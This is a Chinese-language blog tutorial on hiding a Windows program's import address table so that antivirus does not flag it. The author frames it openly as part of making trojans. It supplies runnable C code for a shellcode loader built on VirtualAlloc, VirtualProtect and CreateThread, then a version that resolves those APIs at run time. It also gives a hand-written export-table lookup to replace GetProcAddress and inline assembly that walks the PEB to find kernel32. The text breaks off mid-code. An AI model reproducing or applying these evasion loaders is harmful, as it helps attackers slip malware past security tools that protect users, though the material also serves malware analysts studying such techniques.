【免杀】隐藏导入表(IAT)的六种方式

admin 2024年9月27日13:28:53评论34 views字数 49389阅读164分37秒阅读模式

参考

https://maldevacademy.com/

https://xz.aliyun.com/t/12035?time__1311=GqGxR70Qoiqxlxx2DU2DfhoTwmStoD

[原创]PEB结构:获取模块kernel32基址技术及原理分析

https://www.cnblogs.com/iBinary/p/7653693.html

https://github.com/g1oves2ali/anti-anti-virus

感谢师傅们的文章帮助我学习了这部分内容

0x00、前言

最近学习IAT相关的内容,有些教程不够全面,代码只给出了部分;有些代码有一些错误运行,本文实际去运行调试,给出的代码可以直接运行使用

希望能帮助到其他学习IAT的同学。

本文的流程如下,每个问题对应一个章节,我认为问题驱动的学习,效率更高,效果更好

【免杀】隐藏导入表(IAT)的六种方式

为什么要隐藏导入表

想象一下,作为安全人员,你的任务是找出危险分子。在审查某人的简历时,你看到他的技能包括:炸药制作高手、敲诈勒索达人、地道挖掘专家。你会认为他是一个?A.普通人 B.危险分子 C.钝角

在制作木马时,我们往往会使用许多危险函数,这些危险函数会直接展示在PE文件中的iat导入表(Import Address Table),IAT记录了PE文件使用的API以及相关的dll模块。

下图显示了来自一个木马的导入地址表。PE 文件导入了被认为高度可疑的函数。

这样,杀软等检测工具就可以使用此信息来标记。

【免杀】隐藏导入表(IAT)的六种方式

MessageBox例子

编译一个MessageBox文件,查看其导入表:

#include<stdio.h>
#include<Windows.h>

int main()
{
printf("hello worldn");
MessageBox(0TEXT("hello world"), 00);
return 0;
}

用dumpbin、studyPE+、dependences 工具可以看到使用了MessageBox

dumpbin.exe

来源:Visual Studio自带

PS C:Program FilesMicrosoft Visual Studio2022CommunityVCToolsMSVC14.37.32822binHostx86x86> .dumpbin.exe /IMPORTS C:Usersalisourcereposmessagebox240904x64Debugmessagebox240904.exe

【免杀】隐藏导入表(IAT)的六种方式

studyPE+

下载:https://bbs.kanxue.com/thread-246459-1.htm

【免杀】隐藏导入表(IAT)的六种方式

dependences

下载:https://github.com/lucasg/Dependencies

【免杀】隐藏导入表(IAT)的六种方式

杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会容易认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。

0x01、自定义API函数

既然要隐藏,那很简单,我们不直接使用这些敏感的函数,而是自己去定义一个API函数实现同样的功能。

MessageBox代码

FARPROC GetProcAddress(
  [in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄
  [in] LPCSTR  lpProcName 函数或变量名称
);
定义:
typedef int (FAR WINAPI *FARPROC)();

这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。

HMODULE GetModuleHandleA(
    LPCSTR lpModuleName     // 模块名称
);                         // 成功返回句柄 失败返回NULL

HMODULE LoadLibraryA(
LPCSTR lpLibFileName // 一个dll文件
);                         // 成功返回句柄 失败返回NULL

通过以下函数自定义API。

#include<stdio.h>
#include<Windows.h>

typedef int(WINAPI * pMessageBox) (

HWND    hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT    uType
);

int main()
{
printf("hello worldn");
pMessageBox MyMessageBox=(pMessageBox)GetProcAddress(LoadLibrary("User32.dll"),"MessageBoxA");
MyMessageBox(0,TEXT("hello world"),0,0);
return0;
}

爆红

【免杀】隐藏导入表(IAT)的六种方式

"const char *"类型的实参与"LPCWSTR"类型的形参不兼容

【免杀】隐藏导入表(IAT)的六种方式

字符集从unicode改为【未设置】

【免杀】隐藏导入表(IAT)的六种方式

成功运行

提醒

不要在原项目上修改代码,再次查看导入表发现依然存在messagebox

【免杀】隐藏导入表(IAT)的六种方式

重新建了一个项目

C:Usersalisourcereposmessagebox240904_2x64Debug

这个就没有了

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

不足

尽管这看起来是一个优雅的解决方案,但由于以下几个原因,它并不是一个很好的解决方案:

  • • 首先,该messagebox字符串存在于二进制文件中,可以用来检测函数的使用情况。
  •  

【免杀】隐藏导入表(IAT)的六种方式

  • • 其次,GetProcAddress与 GetModuleHandle(后面在shellcode部分会出现)将出现在 IAT 中,而这两个函数依然可用作标记。

【免杀】隐藏导入表(IAT)的六种方式

加载shellcode

尽管有以上的不足,但是我们还是先用这种方法实现IAT的隐藏。

原代码:

用创建线程的方式加载shellcode。

VirtualAlloc申请读写内存、VirtualProtect改成可执行、CreateThread创建线程

以下代码为未隐藏IAT时

#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
// 入口函数
int wmain(int argc, TCHAR * argv[]) {

int shellcode_size =0;// shellcode长度
DWORD dwThreadId;// 线程ID
HANDLE hThread;// 线程句柄
DWORD dwOldProtect;// 内存页属性

char buf[]="";

// 获取shellcode大小
shellcode_size =sizeof(buf);

char* shellcode =(char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE,&dwOldProtect);

hThread =CreateThread(
NULL,// 安全描述符
NULL,// 栈的大小
(LPTHREAD_START_ROUTINE)shellcode,// 函数
NULL,// 参数
NULL,// 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);// 一直等待线程执行结束
return0;
}

我们将这里敏感的API:

VirtualAlloc申请读写内存、VirtualProtect改成可执行、CreateThread创建线程 进行自定义

自定义:

//VirtualProtect
typedef BOOL(WINAPI * pVirtualProtect) (
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect
);

pVirtualProtect MyVirtualProtect=(pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"),"VirtualProtect");

//CreateThread
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES   lpThreadAttributes,
SIZE_T                  dwStackSize,
LPTHREAD_START_ROUTINE  lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD                   dwCreationFlags,
LPDWORD                 lpThreadId
);

pCreateThread MyCreateThread=(pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
//VirtualAlloc
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD  flAllocationType,
DWORD  flProtect
);

pVirtualAlloc MyVirtualAlloc=(pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualAlloc");

最终代码:

#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>

//自定义API

typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD  flNewProtect,
PDWORD lpflOldProtect
);

pVirtualProtect MyVirtualProtect=(pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualProtect");

typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES   lpThreadAttributes,
SIZE_T                  dwStackSize,
LPTHREAD_START_ROUTINE  lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD                   dwCreationFlags,
LPDWORD                 lpThreadId
);

pCreateThread MyCreateThread=(pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");

typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD  flAllocationType,
DWORD  flProtect
);

pVirtualAlloc MyVirtualAlloc=(pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualAlloc");

// 入口函数
int wmain(int argc, TCHAR * argv[]) {

int shellcode_size =0;// shellcode长度
DWORD dwThreadId;// 线程ID
HANDLE hThread;// 线程句柄
DWORD dwOldProtect;// 内存页属性
/* length: 800 bytes */

char buf[]="";

// 获取shellcode大小
shellcode_size =sizeof(buf);

char* shellcode =(char*)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE,&dwOldProtect);

hThread =MyCreateThread(
NULL,// 安全描述符
NULL,// 栈的大小
(LPTHREAD_START_ROUTINE)shellcode,// 函数
NULL,// 参数
NULL,// 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);// 一直等待线程执行结束
return0;
}

0x02、进一步消除导出函数特征

既然GetProcAddress和GetModuleHandle会成为标记点,那进一步的隐藏就是手动实现这两个函数的功能。

整体流程:

  1. 1. 找到kernel32.dll的地址
  2. 2. 遍历kernel32.dll的导入表,找到GetProcAddress的地址(替代GetProcAddress)

先看第2步

获取GetProcAddress

目标

自定义实现新函数GetProcAddressReplacement替换GetProcAddress

新函数的原型如下所示

FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {}

我们要解决的第一点是:如何通过GetProcAddress WinAPI找到和检索函数的地址。

hModule参数是加载的DLL的基址。这是在进程的地址空间中找到的DLL模块的地址。

然后我们可以通过在提供的DLL中,遍历导出的函数并检查目标函数的名称是否存在来查找函数的地址。如果有一个有效的匹配,检索地址。

总结:要访问导出的函数,必须访问DLL的导出表,并在其中循环查找目标函数名。

原理

IMAGE_EXPORT_DIRECTORY结构

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;// RVA from base of image
    DWORD   AddressOfNames;// RVA from base of image
    DWORD   AddressOfNameOrdinals;// RVA from base of image
} IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY;

该模块的该结构相关成员是最后三个。

  • • AddressOfFunctions -指定导出函数的地址数组的地址。 【导出函数的地址 】是一个数组,这个数组的地址
  • • AddressOfNames - 指定导出函数名称地址数组的地址。
  • • AddressOfNameOrdinals -为导出函数指定序数数组的地址 。

访问导出表(IAT)

FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName){

// 避免每次使用'hModule'时进行强制类型转换。
PBYTE pBase =(PBYTE) hModule;

// 获取DOS头并执行签名检查
PIMAGE_DOS_HEADER pImgDosHdr =(PIMAGE_DOS_HEADER)pBase;
if(pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

// 获取NT标头并执行签名检查 Nt头=dll基址+Dos头
PIMAGE_NT_HEADERS pImgNtHdrs =(PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if(pImgNtHdrs->Signature!= IMAGE_NT_SIGNATURE)
return NULL;

// 获取可选标头
IMAGE_OPTIONAL_HEADER ImgOptHdr= pImgNtHdrs->OptionalHeader;

// 获取图像导出表
// 这是导出目录
PIMAGE_EXPORT_DIRECTORY pImgExportDir =(PIMAGE_EXPORT_DIRECTORY)(pBase +ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// ...
}

获取 IMAGE_EXPORT_DIRECTORY 结构体指针pImgExportDir后,可以循环遍历导出函数。 NumberOfFunctions 指定了导出函数的数量 hModule。因此,循环的最大迭代次数应等于 NumberOfFunctions。

for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){ // 搜索目标导出函数 }

构建搜索逻辑

下一步是构建函数的搜索逻辑,也就是上面代码空置的地方。构建搜索逻辑需要使用 AddressOfFunctions、 AddressOfNames和 AddressOfNameOrdinals,它们都是包含指向导出表中单个唯一函数的 RVA 的数组。

typedef struct _IMAGE_EXPORT_DIRECTORY {
    // ...
    // ...
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

由于这些元素是 RVA,因此必须添加模块的基地址 pBase才能获取 VA。

对RVA和VA不了解可以参考https://www.cnblogs.com/iBinary/p/7653693.html

下面的前两个代码片段应该很简单。它们分别检索函数的名称和函数的地址。

第三个代码片段检索函数的 序数,这将在下一节中详细说明。

// 获取函数的名称数组指针
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);

// 获取函数的地址数组指针
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

// 获取函数的序数数组指针
PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

理解序数

函数的序号是一个整数值,表示该函数在 DLL 中的导出函数表中的位置。导出表被组织为函数指针的列表(数组),每个函数根据其在表中的位置被分配一个序号值。

【免杀】隐藏导入表(IAT)的六种方式

序号值用于识别函数的地址而非名称。导出表用这种方法来处理函数名不可用或者不唯一的情况。

除此之外,使用它的序号来获取函数的地址也比使用它的名称要快。因此,操作系统使用序号来检索函数的地址。

例如, VirtualAlloc的地址等于 FunctionAddressArray[ordinal of VirtualAlloc],其中 FunctionAddressArray 是从导出表获取的函数地址数组指针。

考虑到这一点,下面的代码片段将打印指定模块的函数数组中每个函数的序数值。

// 获取函数的名称数组指针
PDWORD FunctionNameArray=(PDWORD)(pBase + pImgExportDir->AddressOfNames);

// 获取函数的地址数组指针
PDWORD FunctionAddressArray=(PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

// 获取函数的序数数组指针
PWORD  FunctionOrdinalArray=(PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

// 遍历所有导出的函数
for(DWORD i =0; i < pImgExportDir->NumberOfFunctions; i++){

// 获取函数的名称
CHAR* pFunctionName =(CHAR*)(pBase +FunctionNameArray[i]);

// 得到函数的序数
WORD wFunctionOrdinal =FunctionOrdinalArray[i];

// Printing
printf("[ %0.4d ] NAME: %s -t ORDINAL: %dn", i, pFunctionName, wFunctionOrdinal);
}

GetProcAddressReplacement 部分演示

虽然 GetProcAddressReplacement 尚未完成,但它现在应该输出函数名称及其关联的序数。

要测试到目前为止构建的内容,请使用以下参数调用该函数:

GetProcAddressReplacement(GetModuleHandleA("ntdll.dll"), NULL);

正如预期的那样,函数名称和函数的序数被打印到控制台。

【免杀】隐藏导入表(IAT)的六种方式

序数地址

通过函数的序数值,就可以获取函数的地址。

// 获取函数的名称数组指针
PDWORD FunctionNameArray=(PDWORD)(pBase + pImgExportDir->AddressOfNames);

// 获取函数的地址数组指针
PDWORD FunctionAddressArray=(PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

// 获取函数的序数数组指针
PWORD  FunctionOrdinalArray=(PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

// 遍历所有导出的函数
for(DWORD i =0; i < pImgExportDir->NumberOfFunctions; i++){

// 获取函数的名称
CHAR* pFunctionName =(CHAR*)(pBase +FunctionNameArray[i]);

// 得到函数的序数
WORD wFunctionOrdinal =FunctionOrdinalArray[i];

// 通过函数的序数得到函数的地址
PVOID pFunctionAddress =(PVOID)(pBase +FunctionAddressArray[wFunctionOrdinal]);

printf("[ %0.4d ] NAME: %s -t ADDRESS: 0x%p  -t ORDINAL: %dn", i, pFunctionName, pFunctionAddress, wFunctionOrdinal);
}

GetProcAddressReplacement 代码

完成函数所需的最后一部分代码是将导出的函数名称与目标函数名称 lpApiName进行比较。这很容易使用 strcmp来完成。最后,当匹配时返回函数地址。

FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName){

// 这样做是为了避免每次使用“hModule”时都进行强制转换。
PBYTE pBase =(PBYTE)hModule;

// 获取dos报头并进行签名检查
PIMAGE_DOS_HEADER    pImgDosHdr        =(PIMAGE_DOS_HEADER)pBase;
if(pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

// 获取nt标头并进行签名检查
PIMAGE_NT_HEADERS    pImgNtHdrs        =(PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if(pImgNtHdrs->Signature!= IMAGE_NT_SIGNATURE)
return NULL;

// 获取可选标头
IMAGE_OPTIONAL_HEADER    ImgOptHdr= pImgNtHdrs->OptionalHeader;

// 获取图像导出表
PIMAGE_EXPORT_DIRECTORY pImgExportDir =(PIMAGE_EXPORT_DIRECTORY)(pBase +ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 获取函数的名称数组指针
PDWORD FunctionNameArray=(PDWORD)(pBase + pImgExportDir->AddressOfNames);

// 获取函数的地址数组指针
PDWORD FunctionAddressArray=(PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

// 获取函数的序数数组指针
PWORD  FunctionOrdinalArray=(PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

// 遍历所有导出的函数
for(DWORD i =0; i < pImgExportDir->NumberOfFunctions; i++){

// 获取函数的名称
CHAR* pFunctionName =(CHAR*)(pBase +FunctionNameArray[i]);

// 通过序数获取函数的地址
PVOID pFunctionAddress    =(PVOID)(pBase +FunctionAddressArray[FunctionOrdinalArray[i]]);

// 正在搜索指定的函数
if(strcmp(lpApiName, pFunctionName)==0){
printf("[ %0.4d ] FOUND API -t NAME: %s -t ADDRESS: 0x%p  -t ORDINAL: %dn", i, pFunctionName, pFunctionAddress,FunctionOrdinalArray[i]);
return pFunctionAddress;
}
}

return NULL;
}

代码

获取GetProcAddress的代码

函数名与原理中的代码函数名不同

DWORD RGetProcAddress(){
//获取kernel32的地址
 DWORD dwAddrBase =GetKernel32Address();
//获取Dos头
 PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)dwAddrBase;
//获取Nt头 Nt头=dll基址+Dos头
 PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
//数据目录表                            扩展头 数据目录表 + 导出表    定位导出表
 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT;
//导出表
//导出表地址
 PIMAGE_EXPORT_DIRECTORY pExport =(PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
//函数总数
 DWORD dwFunCount = pExport->NumberOfFunctions;
//函数名称数量
 DWORD dwFunNameCount = pExport->NumberOfNames;

//
//函数地址
PDWORD pAddrOfFun =(PDWORD)(pExport->AddressOfFunctions+ dwAddrBase);
//函数名称地址
PDWORD pAddrOfNames =(PDWORD)(pExport->AddressOfNames+ dwAddrBase);
//序号表
PWORD pAddrOfOrdinals =(PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);
//获取 IMAGE_EXPORT_DIRECTORY 结构体指针pExport后,可以循环遍历导出函数。

//NumberOfFunctions 指定了导出函数的数量 hModule。因此,循环的最大迭代次数应等于 NumberOfFunctions。
//遍历函数总数
for(size_t i =0; i < dwFunCount; i++)
{
//判断函数地址是否存在
if(!pAddrOfFun[i])
{
continue;
}
//通过函数地址遍历函数名称地址,获取想要的函数
DWORD dwFunAddrOffset = pAddrOfFun[i];
for(size_t j =0; j < dwFunNameCount; j++)
{
if(pAddrOfOrdinals[j]== i)
{
DWORD dwNameOffset = pAddrOfNames[j];
char* pFunName =(char*)(dwAddrBase + dwNameOffset);
if(strcmp(pFunName,"GetProcAddress")==0)
{
return dwFunAddrOffset + dwAddrBase;
}
}
}
}
}

测试,将"GetProcAddress" 的三项打印在控制台

【免杀】隐藏导入表(IAT)的六种方式

这一步只实现了GetProcAddress ,但是GetModuleHandle还没有实现,因此“pBase”依然是未知的,我们可以用GetKernel32Address()来获得“pBase”

获取kernel32.dll地址:

内联汇编代码

直接给出代码,这段代码可以获取kernel32.dll地址

DWORD GetKernel32Address(){
DWORD dwKernel32Addr =0;
_asm {
    mov eax, fs:[0x30]
    mov eax,[eax +0x0c]
    mov eax,[eax +0x14]
    mov eax,[eax]
    mov eax,[eax]
    mov eax,[eax +0x10]
    mov dwKernel32Addr, eax
}
return    dwKernel32Addr;
}

原理

这里有两个关键的结构,TEB(线程环境块)和PEB(进程环境块)。

【免杀】隐藏导入表(IAT)的六种方式

微软将进程中的每个线程都设置了一个独立的结构数据。这个结构体内存储着当前线程大量的信息。这个结构被称为TEB(线程环境块)。通过TEB结构内的成员属性向下扩展,可以得到很多线程信息。这其中还包含大量的未公开数据。

TEB结构的其中一个成员为PEB(进程环境块),顾名思义,这个结构中存储着整个进程的信息。通过对PEB中成员的向下扩展可以找到一个存储着该进程所有模块数据的链表。

这两个结构指针都存放在fs寄存器中,

fs:[0x30]是PEB

fs:[0x18]是TEB。

fs:[0x30] fs:[0x18]的来历

已知fs就是TEB结构指针,但是不巧,在OD中尝试直接跳转到fs处,OD无法直接找到TEB。这是因为fs只存储了段选择子,而通过段选择子找到的东西才是真正的TEB结构指针

【免杀】隐藏导入表(IAT)的六种方式

参考https://www.vergiliusproject.com/kernels/x86/windows-10/22h2/_TEB32

【免杀】隐藏导入表(IAT)的六种方式

可以看到TEB结构中第一个成员是另一个结构体TIB(线程信息块),它占了1C个字节,

点击黄色的结构体名可以直接跳到TIB结构处,看看它的成员。

【免杀】隐藏导入表(IAT)的六种方式

偏移0x18处有个Self成员,它存储着这个TIB结构的首地址。也就是SEH指针。

回到TEB结构,我们知道TIB是TEB中的第一个成员,那么可以理解为TIB的首地址就是TEB的首地址。所以TIB的0x18偏移等于TEB的0x18偏移,TIB的Self成员同时也指向TEB首地址

至此,我们得出了一个结论,pTEB->0x18 == *pTEB

还记得上文说的fs就是TEB指针吗,带入公式,得到:

fs:[0x18] == TEB

【免杀】隐藏导入表(IAT)的六种方式

同理,我们看到TEB结构0x30偏移处为PEB结构,那么同理:

pTEB->0x30 == fs:[0x30] == PEB

SEH:pTEB->0 == fs:[0] == SEH链

PEB结构

 

【免杀】隐藏导入表(IAT)的六种方式

可以看到PEB偏移为C处存储着LDR指针,它指向一个_PEB_LDR_DATA结构

【免杀】隐藏导入表(IAT)的六种方式

链表结构

结构中提供了三个链表,链表内的节点都是一样的,只是排序不同。由于我们要寻找kernel32的基址,所以我们选择第三个InInitializationOrderModuleList,这样kernel32的链表节点会比较靠前。其实选其他两个也一样,就是要找久一点。我们看下这个链表入口结构_LIST_ENTRY的信息:

【免杀】隐藏导入表(IAT)的六种方式

这个结构有两个成员,第一个成员Flink指向下一个节点,Blink指向上一个节点。所以这是一个双向链表。

接下来的概念很重要:

当我们从_PEB_LDR_DATA结构中取到InInitializationOrderModuleList结构时,这个结构中的Flink指向真正的模块链表,这个真正的链表的每个成员都是一个LDR_DATA_TABLE_ENTRY结构。

之前的_PEB_LDR_DATA只是一个入口,这个结构只有一个,它不是链表节点,真正的链表节点结构如下图:

https://www.vergiliusproject.com/kernels/x86/windows-10/22h2/_LDR_DATA_TABLE_ENTRY

【免杀】隐藏导入表(IAT)的六种方式

_LDR_DATA_TABLE_ENTRY结构中的 _LIST_ENTRY 结构对应下一个 _LDR_DATA_TABLE_ENTRY 节点中的 _LIST_ENTRY 结构。

如:第一个 _LDR_DATA_TABLE_ENTRY 结构中的 InInitializationOrderModuleList 中的 Flink 指向的是第二个 _LDR_DATA_TABLE_ENTRY 结构中 InInitializationOrderModuleList 的首地址。而不是另外两个 _LIST_ENTRY 结构。

第一个 _LDR_DATA_TABLE_ENTRY 结构中的 Blink 指向 PEB_LDR_DATA 中对应成员的 Blink

最后一个 _LDR_DATA_TABLE_ENTRY 结构中的 Flink 指向 PEB_LDR_DATA 中对应的成员的 Flink

PEB_LDR_DATA 结构中的 Blink 指向最后一个 _LDR_DATA_TABLE_ENTRY 中对应成员的 Blink

PEB_LDR_DATA 结构中的 Flink 指向第一个 _LDR_DATA_TABLE_ENTRY 中对应的成员的 Flink

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

图文配合食用。

可以看到这是一个以PEB_LDR_DATA为起点的一个闭合环形双向链表。

每个_LDR_DATA_TABLE_ENTRY节点结构中偏移为0x30处的成员为dllName,偏移为0x18处的成员为DllBase

通过遍历链表,比较dllName字符串内容可以找到目标模块的所属节点。

通过节点成员DllBase可以定位该模块的DOS头起始处。

通过对PE结构的解析可以搜索导出表,从而可以取到指定的导出函数地址。

OD手动查找

打开OD,随便载入一个PE文件。

这里用的E:x64dbgreleasex32x32dbg.exe

点击【c】,按Ctrl+G跳转到fs:[0x30]处。PEB的首地址为0xBA4000

【免杀】隐藏导入表(IAT)的六种方式

另一种方法:关注右边寄存器FS

【免杀】隐藏导入表(IAT)的六种方式

在左下角右键转到表达式0xBA7000,

【免杀】隐藏导入表(IAT)的六种方式

可以看到BA7018,存储的就是FS寄存器本身

那么BA7030,就是32位的PEB结构 0xBA4000

在加上0c,0xBA400C的数值就是指向PEB_ LDR_ DATA的地址,先转到0xBA400C

【免杀】隐藏导入表(IAT)的六种方式

在地址0xBA400C处,储存着数值0x7748EB20,这里指向的是PEB_ LDR_ DATA的地址,我们转到0x7748EB20可以进入PEB_ LDR_ DATA

【免杀】隐藏导入表(IAT)的六种方式

关注偏移量1c处,

【免杀】隐藏导入表(IAT)的六种方式

这是InInitializationOrderModuleList的地址0x00CA2788,跳转到0x00CA2788

重新看一下结构

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

00CA04B0是fulldllname

【免杀】隐藏导入表(IAT)的六种方式

可以看到是ntdll.dll,不是kernel32.dll,继续跳转到Flink(0x00CA8778)处

【免杀】隐藏导入表(IAT)的六种方式

这个是kernelbase.dll,继续 跳转到Flink(0x00CA8400)处

【免杀】隐藏导入表(IAT)的六种方式

成功找到了kernel32.dll。

点击【m】,

【免杀】隐藏导入表(IAT)的六种方式

对照确认,是同一个地址。

参考结构,更加直观:

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

汇编代码

接下来再分析上面代码的具体过程:

mov eax, fs: [0x30] 指向PEB结构

【免杀】隐藏导入表(IAT)的六种方式

mov eax, [eax + 0xc] 0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构

【免杀】隐藏导入表(IAT)的六种方式

mov eax, [eax + 0x14] 指向LDR指针中的InMemoryOrderModuleList链表

【免杀】隐藏导入表(IAT)的六种方式

这里面有三个链表,这三个列表中的模块是一样的,只是顺序不同。

【免杀】隐藏导入表(IAT)的六种方式

mov eax, [eax] mov eax, [eax]

因为kernel32的位置是第三个,第一个是InMemoryOrderModuleList本身,向下两次,就找到了kernel32(参考OD手动查找过程)

mov eax, [eax + 0x10] InMemoryOrderModuleList 再偏移0x10,指向dllbase

最后就是获取kernel32的基址:

【免杀】隐藏导入表(IAT)的六种方式

完整代码

#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
DWORD GetKernel32Address() {
    DWORD dwKernel32Addr =0;
    _asm {
        mov eax, fs:[0x30]
        mov eax,[eax +0x0c]
        mov eax,[eax +0x14]
        mov eax,[eax]
        mov eax,[eax]
        mov eax,[eax +0x10]
        mov dwKernel32Addr, eax
}
return  dwKernel32Addr;
}
DWORD RGetProcAddress() {
//获取kernel32的地址
    DWORD dwAddrBase =GetKernel32Address();
//获取Dos头
    PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)dwAddrBase;
//获取Nt头
    PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
//数据目录表                         扩展头 数据目录表 + 导出表    定位导出表
    PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory+ IMAGE_DIRECTORY_ENTRY_EXPORT;
//导出表
//导出表地址
    PIMAGE_EXPORT_DIRECTORY pExport =(PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
//函数总数
    DWORD dwFunCount = pExport->NumberOfFunctions;
//函数名称数量
    DWORD dwFunNameCount = pExport->NumberOfNames;
//函数地址
    PDWORD pAddrOfFun =(PDWORD)(pExport->AddressOfFunctions+ dwAddrBase);
//函数名称地址
    PDWORD pAddrOfNames =(PDWORD)(pExport->AddressOfNames+ dwAddrBase);
//序号表
    PWORD pAddrOfOrdinals =(PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);
for(size_t i =0; i < dwFunCount; i++){
if(!pAddrOfFun[i]){
continue;
}
        DWORD dwFunAddrOffset = pAddrOfFun[i];
for(size_t j =0; j < dwFunNameCount; j++){
if(pAddrOfOrdinals[j]== i){
                DWORD dwNameOffset = pAddrOfNames[j];
                DWORD dwAddressOffset = pAddrOfFun[j];

char* pFunName =(char*)(dwAddrBase + dwNameOffset);

// Getting the address of the function through it's ordinal
PVOID pFunctionAddress =(PVOID)(dwAddrBase + dwAddressOffset);
// Getting the ordinal of the function
WORD wFunctionOrdinal = pAddrOfOrdinals[j];

if(strcmp(pFunName,"GetProcAddress")==0){
printf("[ %0.4d ] FOUND API -t NAME: %s -t ADDRESS: 0x%p  -t ORDINAL: %dn", i, pFunName, pFunctionAddress, wFunctionOrdinal);
return dwFunAddrOffset + dwAddrBase;
}
}
}
}
}
//自定义API
//获取kernel32.dll地址
HMODULE hKernel32 =(HMODULE)GetKernel32Address();
//自定义GetProcAddress

//参考原型 FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {};

typedef FARPROC(WINAPI* pGetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
//动态获取GetProcAddress
pGetProcAddress MyGetProcAddress=(pGetProcAddress)RGetProcAddress();
//自定义GetModuleHandle
typedef HMODULE(WINAPI* pGetModuleHandle)(
